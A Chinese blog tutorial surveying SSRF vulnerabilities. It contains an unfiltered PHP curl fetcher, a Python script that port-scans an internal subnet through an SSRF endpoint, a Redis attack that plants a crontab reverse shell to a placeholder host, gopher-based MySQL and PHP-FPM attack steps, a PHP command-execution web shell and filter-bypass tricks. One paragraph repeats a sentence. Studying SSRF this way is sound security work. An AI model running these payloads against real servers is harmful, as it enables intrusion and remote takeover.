SSRF漏洞梳理
Posted 晶晶娃在战斗
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了SSRF漏洞梳理相关的知识，希望对你有一定的参考价值。
文章目录
1.概述
服务端请求伪造，一种攻击者通过构造数据进而伪造服务端发起请求的漏洞。请求从内部发起，所以SSRF漏洞攻击的目标一般是外网无法访问的内部系统。
产生漏洞的原因多是服务端提供了从外部服务获取数据的功能，但没有对目标地址、协议等重要参数进行过滤和限制，从而导致攻击者可以自由构造参数，而发起预期外的请求。
2.原理
2.1 认识URL
URL的结构如下所示：
URI = scheme:[//authority]path[?query][#fragment]
authority组件分为以下3部分：
[userinfo@]host[:port]
- scheme：一串大小写不敏感的字符组成，表示获取资源所需要的协议。
- authority：userinfo是可选项遇到的比较少。
- host：表示在那个服务器上获取资源，常见域名形式，也有IPv4和IPv6地址。
- port：端口号。
- Path：指向资源的路径，一般使用‘/’进行分层。
- query：查询字符串，将用户输入的数据传递给服务端，以“?”作为表示。
- fragment：片段ID，与query不同的是，其内容不会被传递到服务端，一般用于表示页面的锚点。
2.2 代码示例
<?php
$url = $_GET['url'];
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,false);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);
$res = curl_exec($ch);
header('content-type:image/png');
curl_close($ch);
echo $res;
?>
如果将URL参数设置为一个图片地址，将直接打印该图片。
因为获取图片地址的URL参数未做任何过滤，所以攻击者可以通过修改该地址或协议来发起SSRF攻击。如：file:///etc/passwd
3.寻找和测试
SSRF漏洞一般出现在有调用外部资源的场景中，如社交服务分享图片、图片识别服务、网站采集服务、远程资源请求（如wordpress xmlrpc.php）、文件处理服务（如XML解析）等。进行测试的时候，可以尝试一下几种协议：
- file:// ：从文件系统中获取文件内容。
- dict:// : 字典服务器协议，让客户端能够访问更多字典源。在SSRF可以获取目标服务器上运行的服务版本等信息。
- gopher:// :分布式的文档传递服务，使用Gopher协议时，通过控制访问的URL可实现向指定的服务器发送任意内容，如HTTP请求、mysql请求等。
4.攻击方式
4.1 内部服务资产探测
可以直接探测网站所在服务器端口的开放情况甚至内网资产情况，如确定该处存在SSRF漏洞，则可以通过确定请求成功与失败的返回信息进行判断服务开放情况。如下python脚本是一个简单的利用程序。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests as req
import time
ports = ['80','3306','6379','8080','8000']
session = req.Session()
for i in range(255):
ip = '172.28.22.%d' % i
for port in ports:
url = 'http://47.94.144.61/ssrf/1.php?url=http://%s:%s' % (ip,port)
try:
res = session.get(url,timeout=3)
if len(res.content) > 0:
print(ip, port, 'is open')
except:
continue
print('DONE')
4.2 Gopher协议扩展
4.3.1 攻击Redis
Redis一般运行在内网，使用者大多将其绑定在127.0.0.1:6379，一般都是空口令。在攻击Redis的时候，一般是写入Crontab反弹shell，通常的攻击流程如下：
redis-cli flushall
echo -e "\\n\\n*/1 * * * * bash -i /dev/tcp/x.x.x.x/1234 0>&1\\n\\n" | redis-cli -x set 1
redis-cli -p 1234 config set dir /var/spool/cron
redis-cli -p 1234 config set dbfilename root
redis-cli -p 1234 save
此时我们使用socat获取数据包，命令如下：
socat -v tcp-listen:1234,fork tcp-connect:localhost:6379
然后将其中的数据转换成Gopher协议的URL。先舍弃开头为“>”和“<”的数据，这表示请求和返回，再舍弃掉+OK的数据，表示返回的信息。在剩下的数据中，将“\\r”替换为“%0d”，将“\\n”（换行）替换为“%0a”，其中的“$”进行URL编码。最后使用curl命令将将构造好的字符串填入进行一次攻击。
4.3.2 攻击Mysql
MySQL分为客户端和服务端，由客户端连接服务端有4种方式：UNIX套接字、内存共享、命名管道、TCP/IP套接字。我们将依靠第四种方式实现攻击。当mysqlserver不需进行密码认证时，将直接使用第4种方式发送数据包。所以，在非交互模式下登录操作MySQL数据库只能在空密码未授权的情况下进行。
假设想查询目标服务器上数据库中user表的信息，我们先在本地新建一张user表，再使用tcpdump进行抓包，并将抓到的流量写入/pcap/mysql.pcap文件。
tcpdump -i lo port 3306 -w /pcap/mysql.pcap
之后登陆Mysql进行查询操作，然后使用wireshark打开/pcap/mysql.pcap数据包，过滤MySQL，再随便选择一个包并单击右键，在弹出的快捷菜单中选择“追踪流 → TCP流”，过滤出客户端到服务端的数据包，最后将格式调整为HEX转储，然后使用wireshark打开/pcap/mysql.pcap数据包，过滤MySQL，再随便选择一个包并单击右键，在弹出的快捷菜单中选择“追踪流 → TCP流”，过滤出客户端到服务端的数据包，最后将格式调整为HEX转储，之后再进行拼接攻击。
4.3.3 PHP-FPM攻击
利用条件：
- Libcurl，版本高于7.45.0；
- PHP-FPM，监听端口，版本高于5.3.3；
- 知道服务器上任意一个PHP文件的绝对路径。
- 利用exp:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
4.3.4 攻击内网中的脆弱Web应用
如果内网中存在一个任意命令执行漏洞的web应用，代码如下：
<?php
var_dump(shell_exec($_POST['command']));
?>
在本地监听任意端口，然后对此端口发起一次POST请求，以抓取请求数据包：
根据上面规则将其修改成Gopher协议的URL，执行unname -a命令：
自动组装Gopher协议的脚本：https://github.com/tarunkant/Gopherus
5.SSRF绕过
5.1 IP的限制
- 使用Enclosed alphanumerics代替IP中的数字或网址中的字母。
- 使用句号代替点。
- 如果服务端过滤方式使用正则表达式过滤属于内网的IP地址，那么可以尝试将IP地址转换为进制的方式进行绕过，如将127.0.0.1转换为十六进制后进行请求。
- IP地址有一些特殊的写法，如在Windows下，0代表0.0.0.0，而在Linux下，0代表127.0.0.1。所以，某些情况下可以用http://0进行请求127.0.0.1。类似127.0.0.1这种中间部分含有0的地址，可以将0省略。
5.2 302跳转
- 网络上存在一个名叫xip.io的服务，当访问这个服务的任意子域名时，都会重定向到这个子域名，如127.0.0.1.xip.io。
- 这种方式可能存在一个问题，即在传入的URL中存在关键字127.0.0.1，一般会被过滤，那么，我们可以使用短网址将其重定向到指定的IP地址，如短网址http://dwz.cn/11SMa。
- 有时服务端可能过滤了很多协议，如传入的URL中只允许出现“http”或“https”，那么可以在自己的服务器上写一个302跳转，利用Gopher协议攻击内网的Redis。
5.3 URL的解析问题
可以看上篇博客ssrf题目复现
以上是关于SSRF漏洞梳理的主要内容，如果未能解决你的问题，请参考以下文章